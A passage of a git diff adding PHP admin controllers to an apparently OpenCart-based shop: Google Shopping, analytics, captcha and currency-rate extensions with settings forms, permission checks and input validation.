+ public function copyProduct(&$route, &$args, &$output) {
+ $this->load->model('extension/advertise/google');
+ $this->load->model('catalog/product');
+
+ $final_product_id = $this->model_extension_advertise_google->getFinalProductId();
+
+ if (!empty($final_product_id)) {
+ foreach ($this->model_catalog_product->getProductStores($final_product_id) as $store_id) {
+ $this->model_extension_advertise_google->insertNewProducts(array($final_product_id), $store_id);
+ }
+ }
+ }
+
+ public function deleteProduct(&$route, &$args, &$output) {
+ $this->load->model('extension/advertise/google');
+
+ $this->model_extension_advertise_google->deleteProducts(array((int)$args[0]));
+ }
+
+ public function install() {
+ $this->load->model('extension/advertise/google');
+
+ $this->model_extension_advertise_google->createTables();
+ $this->model_extension_advertise_google->createEvents();
+ }
+
+ public function uninstall() {
+ $this->load->model('extension/advertise/google');
+
+ $this->model_extension_advertise_google->dropTables();
+ $this->model_extension_advertise_google->deleteEvents();
+ }
+
+ public function category_autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('extension/advertise/google');
+
+ $filter_data = array(
+ 'filter_name' => $this->request->get['filter_name'],
+ 'sort' => 'name',
+ 'order' => 'ASC',
+ 'start' => 0,
+ 'limit' => $this->config->get('config_limit_autocomplete')
+ );
+
+ $results = $this->model_extension_advertise_google->getCategories($filter_data, $this->store_id);
+
+ foreach ($results as $result) {
+ $json[] = array(
+ 'category_id' => $result['category_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $sort_order = array();
+
+ foreach ($json as $key => $value) {
+ $sort_order[$key] = $value['name'];
+ }
+
+ array_multisort($sort_order, SORT_ASC, $json);
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ protected function getFilter($array) {
+ if (!empty($array)) {
+ return array(
+ 'filter_product_name' => $array['product_name'],
+ 'filter_product_model' => $array['product_model'],
+ 'filter_category_id' => $array['category_id'],
+ 'filter_is_modified' => $array['is_modified'],
+ 'filter_store_id' => $this->store_id
+ );
+ }
+
+ return array(
+ 'filter_store_id' => $this->store_id
+ );
+ }
+
+ protected function applyNewSettings($new_settings) {
+ $this->load->model('setting/setting');
+
+ $old_settings = $this->model_setting_setting->getSetting('advertise_google', $this->store_id);
+
+ $new_settings = array_merge($old_settings, $new_settings);
+
+ $this->model_setting_setting->editSetting('advertise_google', $new_settings, $this->store_id);
+
+ foreach ($new_settings as $key => $value) {
+ $this->setting->set($key, $value);
+ }
+ }
+
+ protected function product(&$row) {
+ $this->load->config('googleshopping/googleshopping');
+
+ $this->load->model('tool/image');
+
+ if (!empty($row['image']) && file_exists(DIR_IMAGE . $row['image'])) {
+ $image = $this->model_tool_image->resize($row['image'], 50, 50);
+ } else {
+ $image = $this->model_tool_image->resize('no_image.png', 50, 50);
+ }
+
+ return array(
+ 'product_advertise_google_id' => (int)$row['product_advertise_google_id'],
+ 'product_id' => (int)$row['product_id'],
+ 'image' => $image,
+ 'name' => htmlentities(html_entity_decode($row['name'], ENT_QUOTES, 'UTF-8'), ENT_QUOTES, 'UTF-8'),
+ 'model' => $row['model'],
+ 'impressions' => (int)$row['impressions'],
+ 'clicks' => (int)$row['clicks'],
+ 'conversions' => (int)$row['conversions'],
+ 'cost' => $this->googleshopping->currencyFormat($row['cost']),
+ 'conversion_value' => $this->googleshopping->currencyFormat($row['conversion_value']),
+ 'destination_status' => $row['destination_status'],
+ 'is_modified' => (bool)$row['is_modified'],
+ 'has_issues' => (bool)$row['has_issues'],
+ 'url_issues' => html_entity_decode($this->url->link('extension/advertise/google/popup_issues', 'store_id=' . $this->store_id . '&user_token=' . $this->session->data['user_token'] . '&product_id=' . $row['product_id'], true), ENT_QUOTES, 'UTF-8'),
+ 'campaigns' => $this->model_extension_advertise_google->getProductCampaigns((int)$row['product_id'], $this->store_id)
+ );
+ }
+
+ protected function getSettingValue($key, $default = null, $checkbox = false) {
+ if ($checkbox) {
+ if ($this->request->server['REQUEST_METHOD'] == 'POST' && !isset($this->request->post[$key])) {
+ return $default;
+ } else {
+ return $this->setting->get($key);
+ }
+ }
+
+ if (isset($this->request->post[$key])) {
+ return $this->request->post[$key];
+ } else if ($this->setting->has($key)) {
+ return $this->setting->get($key);
+ } else {
+ return $default;
+ }
+ }
+
+ protected function getValidationError($key) {
+ if (isset($this->error[$key])) {
+ return $this->error[$key];
+ } else {
+ return '';
+ }
+ }
+
+ protected function validateSettings() {
+ $this->validatePermission();
+
+ if (empty($this->request->post['advertise_google_status'])) {
+ return true;
+ }
+
+ if (!empty($this->request->post['advertise_google_cron_email_status'])) {
+ if (!filter_var($this->request->post['advertise_google_cron_email'], FILTER_VALIDATE_EMAIL)) {
+ $this->error['cron_email'] = $this->language->get('error_invalid_email');
+ }
+ }
+
+ if (empty($this->request->post['advertise_google_cron_acknowledge'])) {
+ $this->error['cron_acknowledge'] = $this->language->get('error_cron_acknowledge');
+ }
+
+ if ($this->error && empty($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_form');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateShippingAndTaxes() {
+ $this->validatePermission();
+
+ if (empty($this->request->post['advertise_google_shipping_taxes']['min_transit_time']) || !is_numeric($this->request->post['advertise_google_shipping_taxes']['min_transit_time']) || (int)$this->request->post['advertise_google_shipping_taxes']['min_transit_time'] < 0) {
+ $this->error['min_transit_time'] = $this->language->get('error_min_transit_time');
+ } else if (empty($this->request->post['advertise_google_shipping_taxes']['max_transit_time']) || !is_numeric($this->request->post['advertise_google_shipping_taxes']['max_transit_time']) || (int)$this->request->post['advertise_google_shipping_taxes']['max_transit_time'] < (int)$this->request->post['advertise_google_shipping_taxes']['min_transit_time']) {
+ $this->error['max_transit_time'] = $this->language->get('error_max_transit_time');
+ }
+
+ switch ($this->request->post['advertise_google_shipping_taxes']['shipping_type']) {
+ case 'flat' :
+ if (!isset($this->request->post['advertise_google_shipping_taxes']['flat_rate']) || !is_numeric($this->request->post['advertise_google_shipping_taxes']['flat_rate']) || (float)$this->request->post['advertise_google_shipping_taxes']['flat_rate'] <= 0) {
+ $this->error['flat_rate'] = $this->language->get('error_flat_rate');
+ }
+ break;
+ case 'carrier' :
+ if (empty($this->request->post['advertise_google_shipping_taxes']['carrier'])) {
+ $this->error['warning'] = $this->language->get('error_carrier');
+ }
+
+ if (empty($this->request->post['advertise_google_shipping_taxes']['carrier_postcode'])) {
+ $this->error['carrier_postcode'] = $this->language->get('error_carrier_postcode');
+ }
+
+ if (!isset($this->request->post['advertise_google_shipping_taxes']['carrier_price_percentage']) || !is_numeric($this->request->post['advertise_google_shipping_taxes']['carrier_price_percentage']) || (float)$this->request->post['advertise_google_shipping_taxes']['carrier_price_percentage'] < 0 || (float)$this->request->post['advertise_google_shipping_taxes']['carrier_price_percentage'] > 100) {
+ $this->error['carrier_price_percentage'] = $this->language->get('error_carrier_price_percentage');
+ }
+ break;
+ }
+
+ switch ($this->request->post['advertise_google_shipping_taxes']['tax_type']) {
+ case 'usa' :
+ if (empty($this->request->post['advertise_google_shipping_taxes']['tax'])) {
+ $this->error['warning'] = $this->language->get('error_tax');
+ }
+ break;
+ }
+
+ if (!isset($this->error['warning']) && $this->error) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateMapping() {
+ $this->validatePermission();
+
+ if (!isset($this->error['warning']) && $this->error) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateProduct($required_fields) {
+ if (!$this->user->hasPermission('modify', 'extension/advertise/google')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (empty($this->error)) {
+ foreach ($required_fields as $key => $requirements) {
+ if (empty($requirements['selected_field']) && (!isset($this->request->post['form'][$key]) || $this->request->post['form'][$key] == '')) {
+ $this->error[$key] = $this->language->get('error_field_no_value');
+ } else if (!empty($requirements['selected_field'])) {
+ foreach ($requirements['selected_field'] as $dependency => $values) {
+ if (in_array($this->request->post['form'][$dependency], $values) && (!isset($this->request->post['form'][$key]) || $this->request->post['form'][$key] == '')) {
+ $this->error[$key] = $this->language->get('error_field_no_value');
+ }
+ }
+ }
+ }
+ }
+
+ if (!isset($this->error['warning']) && $this->error) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validatePermission() {
+ if (!$this->user->hasPermission('modify', 'extension/advertise/google')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateCampaign() {
+ $this->validatePermission();
+
+ $this->load->model('extension/advertise/google');
+
+ $targets = $this->googleshopping->getTargets($this->store_id);
+
+ if (empty($targets)) {
+ $this->error['warning'] = $this->language->get('error_no_targets');
+ }
+
+ if (!isset($this->error['warning']) && $this->error) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateConnect() {
+ $this->validatePermission();
+
+ if (!isset($this->request->post['advertise_google_app_id']) || trim($this->request->post['advertise_google_app_id']) == '') {
+ $this->error['app_id'] = $this->language->get('error_empty_app_id');
+ } else if ($this->model_extension_advertise_google->isAppIdUsed($this->request->post['advertise_google_app_id'], $this->store_id)) {
+ $this->error['app_id'] = $this->language->get('error_used_app_id');
+ }
+
+ if (!isset($this->request->post['advertise_google_app_secret']) || trim($this->request->post['advertise_google_app_secret']) == '') {
+ $this->error['app_secret'] = $this->language->get('error_empty_app_secret');
+ }
+
+ if (!isset($this->error['warning']) && $this->error) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateTarget() {
+ $this->validatePermission();
+
+ if (!isset($this->request->post['budget']) || !is_numeric($this->request->post['budget']) || (float)$this->request->post['budget'] < 5) {
+ $this->error['budget'] = $this->language->get('error_budget');
+ }
+
+ if (empty($this->request->post['feed']) || !is_array($this->request->post['feed'])) {
+ $this->error['feed'] = $this->language->get('error_empty_feed');
+ } else {
+ foreach ($this->request->post['feed'] as $feed) {
+ if (empty($feed['language']) || empty($feed['currency'])) {
+ $this->error['feed'] = $this->language->get('error_invalid_feed');
+ break;
+ }
+ }
+ }
+
+ if (empty($this->request->post['country'])) {
+ $this->error['country'] = $this->language->get('error_empty_country');
+ }
+
+ if (empty($this->request->post['campaign_name']) || trim($this->request->post['campaign_name']) == '') {
+ $this->error['campaign_name'] = $this->language->get('error_empty_campaign_name');
+ } else {
+ $disallowed_names = [];
+
+ $this->load->model('extension/advertise/google');
+
+ foreach ($this->googleshopping->getTargets($this->store_id) as $existing_target) {
+ if (isset($this->request->get['advertise_google_target_id']) && $existing_target['target_id'] == $this->request->get['advertise_google_target_id']) {
+ // Ignore this target as it is currntly being edited
+ continue;
+ }
+
+ $disallowed_names[] = strtolower(str_replace(',', ',', trim($existing_target['campaign_name'])));
+ }
+
+ if (in_array(trim(strtolower($this->request->post['campaign_name'])), $disallowed_names)) {
+ $this->error['campaign_name'] = $this->language->get('error_campaign_name_in_use');
+ }
+
+ if (strtolower(trim($this->request->post['campaign_name'])) == 'total') {
+ $this->error['campaign_name'] = $this->language->get('error_campaign_name_total');
+ }
+ }
+
+ if (!isset($this->error['warning']) && $this->error) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/analytics/google.php b/public/admin/controller/extension/analytics/google.php
new file mode 100644
index 0000000..77c39e9
--- /dev/null
+++ b/public/admin/controller/extension/analytics/google.php
@@ -0,0 +1,85 @@
+load->language('extension/analytics/google');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('analytics_google', $this->request->post, $this->request->get['store_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=analytics', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['code'])) {
+ $data['error_code'] = $this->error['code'];
+ } else {
+ $data['error_code'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=analytics', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/analytics/google', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/analytics/google', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=analytics', true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['analytics_google_code'])) {
+ $data['analytics_google_code'] = $this->request->post['analytics_google_code'];
+ } else {
+ $data['analytics_google_code'] = $this->model_setting_setting->getSettingValue('analytics_google_code', $this->request->get['store_id']);
+ }
+
+ if (isset($this->request->post['analytics_google_status'])) {
+ $data['analytics_google_status'] = $this->request->post['analytics_google_status'];
+ } else {
+ $data['analytics_google_status'] = $this->model_setting_setting->getSettingValue('analytics_google_status', $this->request->get['store_id']);
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/analytics/google', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/analytics/google')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['analytics_google_code']) {
+ $this->error['code'] = $this->language->get('error_code');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/analytics/yandex_metrika.php b/public/admin/controller/extension/analytics/yandex_metrika.php
new file mode 100644
index 0000000..cd88b0b
--- /dev/null
+++ b/public/admin/controller/extension/analytics/yandex_metrika.php
@@ -0,0 +1,135 @@
+load->language('extension/analytics/yandex_metrika');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('analytics_yandex_metrika', $this->request->post, $this->request->get['store_id']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=analytics', true));
+
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_enabled'] = $this->language->get('text_enabled');
+ $data['text_disabled'] = $this->language->get('text_disabled');
+ $data['text_help'] = $this->language->get('text_help');
+ $data['text_yes'] = $this->language->get('text_yes');
+ $data['text_no'] = $this->language->get('text_no');
+ $data['text_no_users'] = $this->language->get('text_no_users');
+ $data['text_no_admin'] = $this->language->get('text_no_admin');
+ $data['text_yandex_metrika'] = $this->language->get('text_yandex_metrika');
+ $data['text_help_counter'] = $this->language->get('text_help_counter');
+
+ $data['entry_code'] = $this->language->get('entry_code');
+ $data['entry_status'] = $this->language->get('entry_status');
+ $data['entry_no_admin'] = $this->language->get('entry_no_admin');
+ $data['entry_no_users'] = $this->language->get('entry_no_users');
+
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['code'])) {
+ $data['error_code'] = $this->error['code'];
+ } else {
+ $data['error_code'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=analytics', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/analytics/yandex_metrika', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/analytics/yandex_metrika', 'user_token=' . $this->session->data['user_token'] . '&store_id=' . $this->request->get['store_id'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=analytics', true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['store_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $setting_info = $this->model_setting_setting->getSetting('analytics_yandex_metrika', $this->request->get['store_id']);
+ }
+
+ if (isset($this->request->post['analytics_yandex_metrika_code'])) {
+ $data['analytics_yandex_metrika_code'] = $this->request->post['analytics_yandex_metrika_code'];
+ } else {
+ $data['analytics_yandex_metrika_code'] = $this->config->get('analytics_yandex_metrika_code');
+ }
+
+ if (isset($this->request->post['analytics_yandex_metrika_status'])) {
+ $data['analytics_yandex_metrika_status'] = $this->request->post['analytics_yandex_metrika_status'];
+ } else {
+ $data['analytics_yandex_metrika_status'] = $this->config->get('analytics_yandex_metrika_status');
+ }
+
+ if (isset($this->request->post['analytics_yandex_metrika_no_admin'])) {
+ $data['analytics_yandex_metrika_no_admin'] = $this->request->post['analytics_yandex_metrika_no_admin'];
+ } elseif (isset($setting_info['analytics_yandex_metrika_no_admin'])) {
+ $data['analytics_yandex_metrika_no_admin'] = $setting_info['analytics_yandex_metrika_no_admin'];
+ } else {
+ $data['analytics_yandex_metrika_no_admin'] = '';
+ }
+
+ if (isset($this->request->post['analytics_yandex_metrika_no_users'])) {
+ $data['analytics_yandex_metrika_no_users'] = $this->request->post['analytics_yandex_metrika_no_users'];
+ } elseif (isset($setting_info['analytics_yandex_metrika_no_users'])) {
+ $data['analytics_yandex_metrika_no_users'] = $setting_info['analytics_yandex_metrika_no_users'];
+ } else {
+ $data['analytics_yandex_metrika_no_users'] = '';
+ }
+
+ if (isset($this->request->post['analytics_yandex_metrika_counter'])) {
+ $data['analytics_yandex_metrika_counter'] = $this->request->post['analytics_yandex_metrika_counter'];
+ } elseif (isset($setting_info['analytics_yandex_metrika_counter'])) {
+ $data['analytics_yandex_metrika_counter'] = $setting_info['analytics_yandex_metrika_counter'];
+ } else {
+ $data['analytics_yandex_metrika_counter'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/analytics/yandex_metrika', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/analytics/yandex_metrika')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['analytics_yandex_metrika_code']) {
+ $this->error['code'] = $this->language->get('error_code');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/captcha/basic.php b/public/admin/controller/extension/captcha/basic.php
new file mode 100644
index 0000000..f975ba3
--- /dev/null
+++ b/public/admin/controller/extension/captcha/basic.php
@@ -0,0 +1,67 @@
+load->language('extension/captcha/basic');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('captcha_basic', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=captcha', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=captcha', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/captcha/basic', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/captcha/basic', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=captcha', true);
+
+ if (isset($this->request->post['captcha_basic_status'])) {
+ $data['captcha_basic_status'] = $this->request->post['captcha_basic_status'];
+ } else {
+ $data['captcha_basic_status'] = $this->config->get('captcha_basic_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/captcha/basic', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/captcha/basic')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/captcha/google.php b/public/admin/controller/extension/captcha/google.php
new file mode 100644
index 0000000..e6a98c6
--- /dev/null
+++ b/public/admin/controller/extension/captcha/google.php
@@ -0,0 +1,99 @@
+load->language('extension/captcha/google');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('captcha_google', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=captcha', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['key'])) {
+ $data['error_key'] = $this->error['key'];
+ } else {
+ $data['error_key'] = '';
+ }
+
+ if (isset($this->error['secret'])) {
+ $data['error_secret'] = $this->error['secret'];
+ } else {
+ $data['error_secret'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=captcha', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/captcha/google', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/captcha/google', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=captcha', true);
+
+ if (isset($this->request->post['captcha_google_key'])) {
+ $data['captcha_google_key'] = $this->request->post['captcha_google_key'];
+ } else {
+ $data['captcha_google_key'] = $this->config->get('captcha_google_key');
+ }
+
+ if (isset($this->request->post['captcha_google_secret'])) {
+ $data['captcha_google_secret'] = $this->request->post['captcha_google_secret'];
+ } else {
+ $data['captcha_google_secret'] = $this->config->get('captcha_google_secret');
+ }
+
+ if (isset($this->request->post['captcha_google_status'])) {
+ $data['captcha_google_status'] = $this->request->post['captcha_google_status'];
+ } else {
+ $data['captcha_google_status'] = $this->config->get('captcha_google_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/captcha/google', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/captcha/google')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['captcha_google_key']) {
+ $this->error['key'] = $this->language->get('error_key');
+ }
+
+ if (!$this->request->post['captcha_google_secret']) {
+ $this->error['secret'] = $this->language->get('error_secret');
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/extension/currency/cbr.php b/public/admin/controller/extension/currency/cbr.php
new file mode 100644
index 0000000..d9d82ce
--- /dev/null
+++ b/public/admin/controller/extension/currency/cbr.php
@@ -0,0 +1,138 @@
+load->language('extension/currency/cbr');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('currency_cbr', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency'));
+ }
+
+ $data['heading_title'] = $this->language->get('heading_title');
+
+ $data['text_edit'] = $this->language->get('text_edit');
+ $data['text_enabled'] = $this->language->get('text_enabled');
+ $data['text_disabled'] = $this->language->get('text_disabled');
+
+ $data['entry_status'] = $this->language->get('entry_status');
+
+ $data['button_save'] = $this->language->get('button_save');
+ $data['button_cancel'] = $this->language->get('button_cancel');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = [];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency')
+ ];
+
+ $data['breadcrumbs'][] = [
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/currency/cbr', 'user_token=' . $this->session->data['user_token'])
+ ];
+
+ $data['action'] = $this->url->link('extension/currency/cbr', 'user_token=' . $this->session->data['user_token']);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=currency');
+
+ if (isset($this->request->post['currency_cbr_status'])) {
+ $data['currency_cbr_status'] = $this->request->post['currency_cbr_status'];
+ } else {
+ $data['currency_cbr_status'] = $this->config->get('currency_cbr_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/currency/cbr', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/currency/cbr')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function currency($default = '') {
+ if ($this->config->get('currency_cbr_status')) {
+ $curl = curl_init();
+
+ curl_setopt($curl, CURLOPT_URL, 'https://www.cbr.ru/scripts/XML_daily.asp');
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($curl, CURLOPT_HEADER, false);
+ curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
+ curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
+ curl_setopt($curl, CURLOPT_TIMEOUT, 30);
+
+ $response = curl_exec($curl);
+
+ curl_close($curl);
+
+
+ if ($response) {
+ $dom = new \DOMDocument('1.0', 'UTF-8');
+ $dom->loadXml($response);
+
+ $currencies = array();
+
+ $currencies['RUB'] = 1.0000;
+
+ $root = $dom->documentElement;
+ $items = $root->getElementsByTagName('Valute');
+
+
+ foreach ($items as $item)
+ {
+ $code = $item->getElementsByTagName('CharCode')->item(0)->nodeValue;
+ $curs = str_replace(',', '.', $item->getElementsByTagName('Value')->item(0)->nodeValue);
+ $nominal = $item->getElementsByTagName('Nominal')->item(0)->nodeValue;
+ $currencies[$code] = floatval($curs/$nominal);
+ }
+
+
+ if ($currencies) {
+ $this->load->model('localisation/currency');
+
+ $results = $this->model_localisation_currency->getCurrencies();
+
+ foreach ($results as $result) {
+ if (isset($currencies[$result['code']])) {
+ $from = $currencies['RUB'];
+
+ $to = $currencies[$result['code']];
+
+ $this->model_localisation_currency->editValueByCode($result['code'], ($currencies[$default] * ($from / $to)));
+ }
+ }
+ }
+
+ $this->model_localisation_currency->editValueByCode($default, '1.00000');
+
+ $this->cache->delete('currency');
+ }
+ }
+ }
+}
diff --git a/public/admin/controller/extension/currency/ecb.php b/public/admin/controller/extension/currency/ecb.php
new file mode 100644
index 0000000..5bf6d09
--- /dev/null
+++ b/public/admin/controller/extension/currency/ecb.php
@@ -0,0 +1,132 @@
+load->language('extension/currency/ecb');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('currency_ecb', $this->request->post);
+
